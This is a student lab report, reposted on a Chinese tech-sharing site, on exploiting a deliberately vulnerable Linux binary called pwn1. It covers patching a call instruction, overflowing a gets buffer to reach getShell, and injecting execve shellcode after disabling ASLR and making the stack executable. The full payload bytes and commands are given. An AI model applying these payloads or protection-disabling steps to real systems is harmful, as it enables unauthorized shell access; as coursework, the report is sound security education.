ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20212937 曾俊铭 网络攻防实验报告

2022-05-13 22:03:29  阅读:167  来源: 互联网

标签:x90 pwn1 20212937 曾俊铭 ff 实验报告 shellcode 输入 机器指令


20212937 曾俊铭 2021-2022-2 《网络攻防实践》实践报告

1.实践内容

实践目标:

本次实践的对象是一个名为pwn1的linux可执行文件。

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 通过云班课下载上传文件pwn1,打开Kali,输入命令“objdump -d pwn1”对该文件进行反汇编。
    image

  • 对以上反汇编结果进行分析:这里是三个函数main、getshell、foo。首先看main函数的调用情况,找到“80484b5: e8 d7 ff ff ff call 8048491 ”这一行,“call 8048491 ”是汇编指令,其含义是调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP(Extended Instruction Pointer,扩展指令指针)值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。由于main函数调用foo函数的机器指令为“e8 d7 ff ff ff”,所以要想调用getshell函数,只需把“d7 ff ff f”f改为getShell-80484ba对应的补码即可,因为47d-ba得到补码为c3 ff ff ff,因此main函数调用getshell函数的机器指令为“e8 c3 ff ff ff”。

  • 更改可执行文件,将call指令的目标地址由原来的“d7 ff ff ff”改为“c3 ff ff ff”。输入命令“vim pwn1”开始更改。
    image

  • 输入指令“:%! xxd”,回车,将显示模式切换为16进制模式:
    image

  • 找到这一行,先点击Ctrl+I进入插入模式,将“e8 d7”改为“e8 c3”。然后点击Esc,输入:wq保存并退出。 image

  • 输入指令“:%! xxd -r”将十六进制模式改回原格式,保存并退出
    image

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

2.2.1反汇编,了解程序的基本功能

  • 将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
  • 观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中
    image

2.2.2确定输入字符串的那几个字符会覆盖返回地址

  • “apt install gdb”安装,输入命令“gdb pwn1”调式程序。
    image

  • 输入“r”,表示运行这个文件,输入有规律的字符串“1111111122222222333333334444444455555555”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出
    image

2.2.3确认用什么值覆盖返回地址

  • 使用gdb对pwn1进行调试,当输入长度为40的字符串“1111111122222222333333334444444455555555”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x35353535(“5”的ASCLL码的十六进制为35),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容
    image

2.3注入一个自己制作的shellcode并运行这段shellcode

  • 把prelink_0.0.20130503.orig.tar放到kali虚拟机中,在虚拟机中解压缩,在解压缩文件中打开终端
    输入命令行:
    sudo apt-get install libelf-dev
    ./configure
    make
    sudo make install

  • 准备一段Shellcode,shellcode是一段机器指令(code),这段机器指令的目的通常是获取一个交互式的shell(linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,例如添加一个用户、运行一条指令。

  • 首先使用“apt-get install execstack”命令安装execstack;

输入“execstack -s pwn1”设置堆栈可执行;

输入“execstack -q pwn1”查询文件的堆栈是否可执行 ;

输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化;

输入“echo "0" > /proc/sys/kernel/randomize_va_space”关闭地址随机化;

输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化
image

  • 构造要注入的payload。输入命令“perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode”进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr。
    image

  • 然后在该终端运行“(cat input_shellcode;cat) | ./pwn1”注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”,可以看到pwn的进程21016。
    image

  • 用gdb的“attach 21016”命令启动gdb调试这个进程。
    image

  • 用“disassemble foo”命令反汇编,设置断点查看注入buf的内存地址。
    image

  • 输入“b *0x080484ae”命令设置断点,输入“c”命令(continue)继续运行。
    image

  • 在进程正在运行的终端敲回车,使其继续执行
    image

  • 再返回调试终端,输入“info r esp”命令查找地址为“x/16x 0xffffd5bc”
    image

  • 输入“x/16x 0xffffd5bc”命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5bc+0x00000004=0xffffd5c0,所以地址应为0xffffd5c0
    image

  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd5c0即可,用命令perl -e 'print "A" x 32;print "\xc0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。
    image

  • 再用“(cat input_shellcode;cat) | ./pwn1”命令次执行程序,攻击成功
    image

3.学习中遇到的问题及解决

  • 问题1:kali一直找不到prelink所在目录?
  • 问题1解决方案:将prlink下载在主机安装后在拖入虚拟机kali

4.实践总结

通过这次实验自己对机器指令、十六进制、反汇编、gdb调试和BOF攻击等安全知识有了进一步的了解学习,并进行了简单的应用,对于后面的学习打下了基础,实验有一点复杂,但更多的还是理论基础,希望能进一步学习吧。

标签:x90,pwn1,20212937,曾俊铭,ff,实验报告,shellcode,输入,机器指令
来源: https://www.cnblogs.com/Akron1997/p/16268388.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有